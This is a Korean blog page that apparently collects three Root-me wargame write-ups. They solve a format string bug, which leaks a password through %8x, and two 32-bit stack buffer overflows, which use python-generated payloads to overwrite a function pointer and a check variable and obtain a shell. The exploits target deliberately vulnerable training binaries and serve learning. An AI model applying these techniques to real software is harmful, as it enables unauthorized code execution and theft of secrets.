내가 제일 싫어하는 FSB 문제이다.


일단 풀어보자.

#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
	FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
	char buffer[32];
	fgets(buffer, sizeof(buffer), secret);
	printf(argv[1]);
	fclose(secret);
	return 0;
}

printf 함수에서 Format String 쓰지 않고 그대로 출력하기 때문에 FSB 취약점이 발생한다.


buffer 변수에 패스워드가 저장되므로  argv에 %8x를 넣어 값을 읽어온다.



딱봐도 정말 수상하게 긴놈이 보인다.


주소처럼 생긴 804b008을 제외한 나머지를 뽑아본다.


39617044282936646d617045b7000a64b7e5ae65b7fe 이러한 값이 나왔는데... 


md5 나 다른 해시 형태는 아닌것 같아 hex로 변환해보았다.



저장될 때 리틀엔디안으로 저장되므로


출력되는 값을 리틀엔디안으로 바꾼 뒤 출력하면 된다.

'Wargame > Root-me' 카테고리의 다른 글

App - System 02  (0) 2017.05.18
App-System 01  (0) 2017.05.18

이 문제도 1번문제와 같다.

/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void shell() {
    system("/bin/dash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
main()
{ 
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}

EIP를 shell 함수로 바꿔주면 끝나는 일이다.


먼저 gdb를 이용하여 shell 함수의 주소를 가져온다.



shell 의 주소는 0x08048464이다.


기존과 똑같은 환경이라 생각하고 다음과 같이 payload를 구성한다.


(python -c 'print "A"*128 + "\x64\x84\x04\x08"';cat) | ./ch15



다음과 같이 쉘을 획득하였다.


cat .passwd 명령어를 이용하여 플래그를 출력할 수 있다.

'Wargame > Root-me' 카테고리의 다른 글

App - System 03  (0) 2017.05.18
App-System 01  (0) 2017.05.18

그동안 묵혀두었던 Root-me를 풀어보려고 한다.


먼저 ELF x86 - Stack buffer overflow basic 01을 풀어보자.

#include <stdlib.h>
#include <stdio.h>
 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
 
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

소스코드는 다음과 같다.


fgets에서 기존의 buf 보다. 크게 입력을 받아 Buffer overflow 취약점이 발생한다.


check 변수의 값이 0xdeadbeef 과 같으면 쉘을 실행시킨다.


디버깅을 통해 알아보자.



입력 한 뒤에 stack 상태를 알아보기 위해 fgets 함수 뒤에 Break point를 걸어준다.


이후 스택을 채워 알아보자.



40 byte 넣었을 때 정상적으로 들어가는 것을 확인할 수 있다.


이후 바로 뒤에 0x0403000a 라고 표시되어 있는 부분은 사실 0x04030201 임을 알 수 있다.


이유는 잘 모르겠으나 저 값이 0xdeadbeef로 바뀐다면 쉘을 실행시켜줄 것이다.


페이로드는 다음과 같다


(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./ch13



쉘을 획득하였다.


이후 cat .passwd를 통해 패스워드를 출력할 수 있다.


'Wargame > Root-me' 카테고리의 다른 글

App - System 03  (0) 2017.05.18
App - System 02  (0) 2017.05.18

+ Recent posts